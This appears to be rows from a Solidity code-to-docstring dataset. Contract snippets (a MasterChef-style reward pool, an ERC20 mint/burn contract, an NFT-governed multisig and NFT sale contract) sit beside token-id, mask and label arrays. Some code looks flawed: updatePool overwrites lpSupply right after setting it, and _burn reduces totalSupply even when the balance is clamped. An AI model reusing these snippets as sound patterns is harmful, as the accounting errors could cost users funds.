functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply; if (isMultLP(address(pool.lpToken))) { if (pool.totalAmount == 0) { pool.lastRewardBlock = block.number; return; } lpSupply = pool.totalAmount; lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } } uint256 blockReward = safeGetBXHBlockReward(pool.lastRewardBlock); if (blockReward <= 0) { return; } uint256 bxhReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); bool minRet = bxh.mint(address(this), bxhReward); if (minRet) { pool.accBXHPerShare = pool.accBXHPerShare.add(bxhReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; }
5,984,331
[ 1, 1891, 19890, 3152, 434, 326, 864, 2845, 358, 506, 731, 17, 869, 17, 712, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 2864, 12, 11890, 5034, 389, 6610, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 309, 261, 2629, 18, 2696, 1648, 2845, 18, 2722, 17631, 1060, 1768, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 12423, 3088, 1283, 31, 203, 3639, 309, 261, 291, 5049, 14461, 12, 2867, 12, 6011, 18, 9953, 1345, 20349, 288, 203, 5411, 309, 261, 6011, 18, 4963, 6275, 422, 374, 13, 288, 203, 7734, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 7734, 327, 31, 203, 5411, 289, 203, 5411, 12423, 3088, 1283, 273, 2845, 18, 4963, 6275, 31, 203, 5411, 12423, 3088, 1283, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 5411, 309, 261, 9953, 3088, 1283, 422, 374, 13, 288, 203, 7734, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 7734, 327, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 2254, 5034, 1203, 17631, 1060, 273, 4183, 967, 38, 60, 44, 1768, 17631, 1060, 12, 6011, 18, 2722, 17631, 1060, 1768, 1769, 203, 3639, 309, 261, 2629, 17631, 1060, 1648, 374, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 24356, 76, 17631, 1060, 273, 1203, 17631, 1060, 18, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 3639, 1426, 1131, 7055, 273, 24356, 76, 18, 81, 474, 12, 2867, 12, 2211, 3631, 24356, 76, 17631, 2 ]
// SPDX-License-Identifier: Apache-2.0 // Largely based on https://github.com/element-fi/elf-contracts/blob/a6cb960896301b7562ced70a8b221f3cc964ea0a/contracts/libraries/ERC20PermitWithSupply.sol pragma solidity ^0.8.3; import "./ERC20Permit.sol"; import "./Authorizable.sol"; // This contract adds total supply and minting to the generic erc20 abstract contract ERC20PermitWithMint is ERC20Permit, Authorizable { /// @notice Initializes the erc20 contract /// @param name_ the value 'name' will be set to /// @param symbol_ the value 'symbol' will be set to /// @param owner_ address which has the power to mint constructor( string memory name_, string memory symbol_, address owner_ ) ERC20Permit(name_, symbol_) { setOwner(owner_); } // The stored totalSupply, it equals all tokens minted - all tokens burned uint256 public totalSupply; /// @notice Allows the governance to mint /// @param account the account to addd tokens to /// @param amount the amount of tokens to add function mint(address account, uint256 amount) external onlyOwner { _mint(account, amount); } /// @notice This function overrides the ERC20Permit Library's _mint and causes it /// to track total supply. /// @param account the account to addd tokens to /// @param amount the amount of tokens to add function _mint(address account, uint256 amount) internal override { // Increase account balance balanceOf[account] = balanceOf[account] + amount; // Increase total supply totalSupply += amount; // Emit a transfer from zero to emulate a mint emit Transfer(address(0), account, amount); } /// @notice Allows the governance to burn /// @param account the account to burn from /// @param amount the amount of token to burn function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } /// @notice This function overrides the ERC20Permit Library's _burn to decrement total supply /// @param account the account to burn from /// @param amount the amount of token to burn function _burn(address account, uint256 amount) internal override { // Decrease user balance uint256 currentBalance = balanceOf[account]; // This logic prevents a reversion if the _burn is frontrun if (currentBalance < amount) { balanceOf[account] = 0; } else { balanceOf[account] = currentBalance - amount; } // Decrease total supply totalSupply -= amount; // Emit an event tracking the burn emit Transfer(account, address(0), amount); } }
Decrease total supply
totalSupply -= amount;
12,842,113
[ 1, 23326, 448, 2078, 14467, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2078, 3088, 1283, 3947, 3844, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xBA4C1c4AeD5d664588557546F5090e45aae99394/sources/MeiMachina.sol
* @dev Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner./
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
15,980,714
[ 1, 1682, 6606, 326, 6835, 2887, 3410, 18, 2597, 903, 486, 506, 3323, 358, 745, 1375, 3700, 5541, 68, 4186, 16828, 18, 4480, 1338, 506, 2566, 635, 326, 783, 3410, 18, 5219, 30, 25921, 465, 2822, 23178, 903, 8851, 326, 6835, 2887, 392, 3410, 16, 1915, 1637, 9427, 1281, 14176, 716, 353, 1338, 2319, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1654, 8386, 5460, 12565, 1435, 1071, 5024, 1338, 5541, 288, 203, 1377, 3626, 14223, 9646, 5310, 1429, 4193, 24899, 8443, 16, 1758, 12, 20, 10019, 7010, 1377, 389, 8443, 273, 1758, 12, 20, 1769, 7010, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; import "./UselessNFT.sol"; contract UselessMultiSig { event Confirmation(uint256 indexed tokenId, uint256 indexed transactionId); event Revocation(uint256 indexed tokenId, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId, string error); event RequirementChange(uint256 required); event ReceiveEther(address indexed sender, uint amount); // ============ Constants ============ uint256 constant public MAX_OWNER_COUNT = 50; address constant ADDRESS_ZERO = address(0x0); // ============ Storage ============ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(uint256 => bool)) public confirmations; UselessNFT public uselessNft; uint256 public required; uint256 public transactionCount; // ============ Structs ============ struct Transaction { address destination; uint256 value; bytes data; bool executed; } // ============ Modifiers ============ modifier onlyWallet() { require(msg.sender == address(this), "only this council can call"); _; } modifier requireIsValidOwnerAndCouncilIsSetUp( uint _tokenId ) { require( !uselessNft.isSaleOpen() && uselessNft.randomNumber() != 0, "council is not set up yet" ); require(uselessNft.ownerOf(_tokenId) == msg.sender, "not a valid owner"); require(uselessNft.getTier(_tokenId) <= UselessLibrary.Tier.TIER_ONE, "owner is not useless enough"); _; } modifier transactionExists( uint256 transactionId ) { require(transactions[transactionId].destination != ADDRESS_ZERO, "useless transaction does not exist"); _; } modifier confirmed( uint256 transactionId, uint256 tokenId ) { require(confirmations[transactionId][tokenId], "useless transaction is not confirmed by this NFT"); _; } modifier notConfirmed( uint256 transactionId, uint256 tokenId ) { require(!confirmations[transactionId][tokenId], "useless transaction is already confirmed"); _; } modifier notExecuted( uint256 transactionId ) { require(!transactions[transactionId].executed, "useless transaction is already executed"); _; } modifier notNull( address _address ) { require(_address != ADDRESS_ZERO, "address is useless"); _; } modifier validRequirement( uint256 ownerCount, uint256 _required ) { require( _required <= ownerCount && _required != 0 && ownerCount != 0, "requirements are useless" ); _; } // ============ Constructor ============ /** * Contract constructor sets NFT contract and required number of confirmations. * * @param _uselessNft Address of the Useless NFT contract. */ constructor( address payable _uselessNft ) public { uselessNft = UselessNFT(_uselessNft); // when the council is created, post sale, there will be 11 signers. Initialize it simply at majority required // to execute transactions required = 6; } receive() external payable { emit ReceiveEther(msg.sender, msg.value); } function ownerTokenIds() public view returns (uint[] memory) { return uselessNft.getCouncilIds(); } function owners() public view returns (address[] memory) { UselessNFT _uselessNFT = uselessNft; uint[] memory tokenIds = _uselessNFT.getCouncilIds(); address[] memory _owners = new address[](tokenIds.length); for (uint i = 0; i < tokenIds.length; i++) { _owners[i] = _uselessNFT.ownerOf(tokenIds[i]); } return _owners; } /** * Allows to change the number of required confirmations. Transaction has to be sent by wallet. * * @param _required Number of required confirmations. */ function changeRequirement( uint256 _required ) public onlyWallet validRequirement(owners().length, _required) { required = _required; emit RequirementChange(_required); } /** * Allows an owner to submit and confirm a transaction. * * @param tokenId Token ID of one of the owners of the UselessNFT contract. * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Transaction ID. */ function submitTransaction( uint256 tokenId, address destination, uint256 value, bytes memory data ) public returns (uint256) { uint256 transactionId = _addTransaction(destination, value, data); confirmTransaction(tokenId, transactionId); return transactionId; } /** * Allows an owner to confirm a transaction. */ function confirmTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) transactionExists(transactionId) notConfirmed(transactionId, tokenId) { confirmations[transactionId][tokenId] = true; emit Confirmation(tokenId, transactionId); executeTransaction(tokenId, transactionId); } /** * Allows an owner to revoke a confirmation for a transaction. */ function revokeConfirmation( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { confirmations[transactionId][tokenId] = false; emit Revocation(tokenId, transactionId); } /** * Allows an owner to execute a confirmed transaction. */ function executeTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, string memory error) = _externalCall(txn.destination, txn.value, txn.data); if (success) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId, error); txn.executed = false; } } } /** * Returns the confirmation status of a transaction. * * @param transactionId Transaction ID. * @return Confirmation status. */ function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } /** * Returns number of confirmations of a transaction. * * @param transactionId Transaction ID. * @return Number of confirmations. */ function getConfirmationCount( uint256 transactionId ) public view returns (uint256) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } } return count; } /** * Returns total number of transactions after filers are applied. * * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Total number of transactions after filters are applied. */ function getTransactionCount( bool pending, bool executed ) public view returns (uint256) { uint256 count = 0; for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } return count; } /** * Returns array with owner addresses, which confirmed transaction. * * @param transactionId Transaction ID. * @return Array of NFTs that confirmed the transaction. */ function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } /** * Returns list of transaction IDs in defined range. * * @param from Index start position of transaction array. * @param to Index end position of transaction array. * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Array of transaction IDs. */ function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { // solium-disable-next-line security/no-call-value (bool success, bytes memory result) = destination.call{value : value}(data); if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); } else { // solium-disable-next-line security/no-inline-assembly assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } } else { return (true, ""); } } /** * Adds a new transaction to the transaction mapping, if transaction does not exist yet. * * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Transaction ID. */ function _addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256) { uint256 transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); return transactionId; } function _addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _string = new bytes(42); _string[0] = "0"; _string[1] = "x"; for (uint i = 0; i < 20; i++) { _string[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _string[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_string); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; import "@chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./UselessLibrary.sol"; contract UselessNFT is ERC721, Ownable, ReentrancyGuard, VRFConsumerBase { using Counters for Counters.Counter; using SafeERC20 for IERC20; using UselessLibrary for *; event Withdrawal(address indexed receiver, uint amount); event URIOverridesRatePerDayChanged(uint ratePerDay); event BaseURIChanged(string newURI); event URIOverride(UselessLibrary.Tier tier, uint lockedUntilTimestamp, string newURI); event URIRevert(UselessLibrary.Tier tier); uint256 public constant LINK_FEE = 2 ether; bool public isSaleOpen; uint16 public maxSupply; uint256 public mintPrice; address public ogDeveloper; address public ogArtist; address public council; uint256 public uriOverridesPricePerDay; bytes32 public vrfKeyHash; uint256 public randomNumber; mapping(UselessLibrary.Tier => string) public uriOverrides; mapping(UselessLibrary.Tier => uint) public uriOverridesLockedUntil; Counters.Counter private _tokenIds; constructor( string memory _baseURI, address _ogDeveloper, address _ogArtist, uint256 _maxSupply, uint256 _uriOverridesPricePerDay, uint256 _mintPrice, address _vrfCoordinator, address _linkToken, bytes32 _vrfKeyHash ) public VRFConsumerBase(_vrfCoordinator, _linkToken) ERC721("Useless NFT", "USELESS") { require(_maxSupply <= 10000, "How many useless NFTs do you need?"); require(_mintPrice > 0, "Wow, I guess you wanted to make them worthless AND useless"); _setBaseURI(_baseURI); ogDeveloper = _ogDeveloper; ogArtist = _ogArtist; maxSupply = uint16(_maxSupply); _setURIOverridesPricePerDay(_uriOverridesPricePerDay); mintPrice = _mintPrice; vrfKeyHash = _vrfKeyHash; isSaleOpen = true; } modifier requireIsInitialized(uint _tokenId) { require( randomNumber != 0, "Reveal has not occurred yet" ); require( ownerOf(_tokenId) == msg.sender, "You are not the owner of this useless NFT" ); _; } modifier requireIsUnlockedAndValid(uint256 _tokenId, UselessLibrary.Tier _tier) { require( uint8(getTier(_tokenId)) < uint8(_tier), "You must be higher up the pyramid to override this tier" ); require( !isURILocked(_tier), "URI for this tier is still locked" ); _; } receive() external payable { revert("Do not blindly send ETH to this contract. We told you it's not audited!"); } function setCouncil(address _council) public { require(council == address(0), "council already set"); council = _council; } function setURIOverridesPricePerDay(uint _uriOverridesPricePerDay) external { require(msg.sender == council, "Only the council of elders can set the tax rate"); _setURIOverridesPricePerDay(_uriOverridesPricePerDay); } function _setURIOverridesPricePerDay(uint _uriOverridesPricePerDay) internal { require(_uriOverridesPricePerDay > 0, "I know these NFTs are useless, but come on, have some respect!"); uriOverridesPricePerDay = _uriOverridesPricePerDay; emit URIOverridesRatePerDayChanged(_uriOverridesPricePerDay); } function requestRandomNumber() public returns (bytes32 requestId) { require(!isSaleOpen, "Sale must be over"); require(LINK.balanceOf(address(this)) >= LINK_FEE, "Not enough LINK - fill contract first"); return _callRequestRandomness(); } function _callRequestRandomness() internal virtual returns (bytes32 requestId) { // function is made to be overrode in TestUselessNFT for increased test coverage return requestRandomness(vrfKeyHash, LINK_FEE); } function fulfillRandomness(bytes32, uint256 _randomNumber) internal override { randomNumber = _randomNumber; } function withdrawETH() public nonReentrant { _withdraw(ogArtist, address(this).balance / 2); // send remaining balance; this helps deal with any truncation errors _withdraw(ogDeveloper, address(this).balance); } function rescueTokens(address[] calldata tokens) public nonReentrant { // users were useless enough to send tokens to the contract? bool _isSaleOpen = isSaleOpen; uint _randomNumber = randomNumber; for (uint i = 0; i < tokens.length; i++) { if (_isSaleOpen || _randomNumber == 0) { IERC20(tokens[i]).safeTransfer(ogDeveloper, IERC20(tokens[i]).balanceOf(address(this))); } else { IERC20(tokens[i]).safeTransfer(council, IERC20(tokens[i]).balanceOf(address(this))); } } } function _withdraw(address _receiver, uint256 _amount) internal { (bool success,) = _receiver.call{value : _amount}(""); require(success, "_withdraw failed"); emit Withdrawal(_receiver, _amount); } function mint(uint quantity) public payable nonReentrant { require(quantity > 0 && quantity <= 5, "quantity must be > 0 and <= 5"); require(msg.value == mintPrice * quantity, "invalid ETH amount sent"); require(isSaleOpen, "The sale is over. Wait, the sale is over!? Wow, this really happened?"); require(totalSupply() + quantity <= maxSupply, "Can only mint up to the totalSupply amount"); address _msgSender = msg.sender; uint tokenIds = _tokenIds.current(); for (uint i = 0; i < quantity; ++i) { _safeMint(_msgSender, tokenIds); ++tokenIds; } _tokenIds._value = tokenIds; isSaleOpen = totalSupply() != maxSupply; } function setBaseURI(string calldata _baseURI) public onlyOwner { _setBaseURI(_baseURI); emit BaseURIChanged(_baseURI); } function owner() public override view returns (address) { if (isSaleOpen || randomNumber == 0) { return super.owner(); } else { return ownerOf(getPlatinumTokenId()); } } function getTier(uint256 _id) public view returns (UselessLibrary.Tier) { if (randomNumber == 0 || _id >= maxSupply) { // random number is not set yet return UselessLibrary.Tier.TIER_UNKNOWN; } uint result = _wrapIdIfNecessary((randomNumber % maxSupply) + _id); if (result == 0) { return UselessLibrary.Tier.TIER_ZERO; } else if (result >= 3000 && result < 3010) { return UselessLibrary.Tier.TIER_ONE; } else if (result >= 6000 && result < 6100) { return UselessLibrary.Tier.TIER_TWO; } else if (result >= 9000 && result < 10000) { return UselessLibrary.Tier.TIER_THREE; } else { return UselessLibrary.Tier.TIER_FOUR; } } function getCouncilIds() public view returns (uint[] memory) { if (isSaleOpen || randomNumber == 0) { // sale is not over yet and traits have not been assigned return new uint[](0); } uint platinumTokenId = getPlatinumTokenId(); uint goldTokenStartId = _wrapIdIfNecessary(platinumTokenId + 3000); uint[] memory result = new uint[](11); result[0] = platinumTokenId; result[1] = _wrapIdIfNecessary(goldTokenStartId + 0); result[2] = _wrapIdIfNecessary(goldTokenStartId + 1); result[3] = _wrapIdIfNecessary(goldTokenStartId + 2); result[4] = _wrapIdIfNecessary(goldTokenStartId + 3); result[5] = _wrapIdIfNecessary(goldTokenStartId + 4); result[6] = _wrapIdIfNecessary(goldTokenStartId + 5); result[7] = _wrapIdIfNecessary(goldTokenStartId + 6); result[8] = _wrapIdIfNecessary(goldTokenStartId + 7); result[9] = _wrapIdIfNecessary(goldTokenStartId + 8); result[10] = _wrapIdIfNecessary(goldTokenStartId + 9); return result; } function getPlatinumTokenId() public view returns (uint) { if (randomNumber == 0) { return uint(-1); } return randomNumber % maxSupply == 0 ? 0 : maxSupply - (randomNumber % maxSupply); } function _wrapIdIfNecessary(uint _tokenId) internal view returns (uint) { uint16 _maxSupply = maxSupply; if (_tokenId >= _maxSupply) { return _tokenId - _maxSupply; } else { return _tokenId; } } function overridePeasantURI( uint _tokenId, UselessLibrary.Tier _tierToOverride, string calldata _newURI ) external payable requireIsInitialized(_tokenId) requireIsUnlockedAndValid(_tokenId, _tierToOverride) nonReentrant { require( bytes(_newURI).length > 0, "invalid new URI" ); uint leftOverTax = msg.value % uriOverridesPricePerDay; if (leftOverTax > 0) { _withdraw(msg.sender, leftOverTax); } uint taxPaid = msg.value - leftOverTax; if (taxPaid > 0) { _withdraw(council, taxPaid); } uint daysToLock = taxPaid / uriOverridesPricePerDay; uriOverrides[_tierToOverride] = _newURI; uriOverridesLockedUntil[_tierToOverride] = block.timestamp + (daysToLock * 1 days); emit 